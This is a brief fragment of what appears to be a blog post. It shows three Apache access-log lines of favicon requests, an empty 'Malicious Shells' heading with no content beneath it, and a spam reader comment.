11 # tail -3 /var/log/apache2/access.log 
12 - - [31/Jan/2012:14:07:59 +1100] "GET /favicon.ico HTTP/1.1" 200 9326 "-""Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv: Gecko/20110319 Firefox/3.6.16" 
13 - - [31/Jan/2012:14:08:01 +1100] "GET /favicon.ico HTTP/1.1" 200 9326 "-""Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv: Gecko/20110319 Firefox/3.6.16" 
14 - - [31/Jan/2012:14:08:03 +1100] "GET /favicon.ico HTTP/1.1" 200 9326 "-""Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv: Gecko/20110319 Firefox/3.6.16" 


Malicious Shells: 



  1. Your blog is amazing dude. i love to visit it everyday. very nice layout and content ,   PSD to Email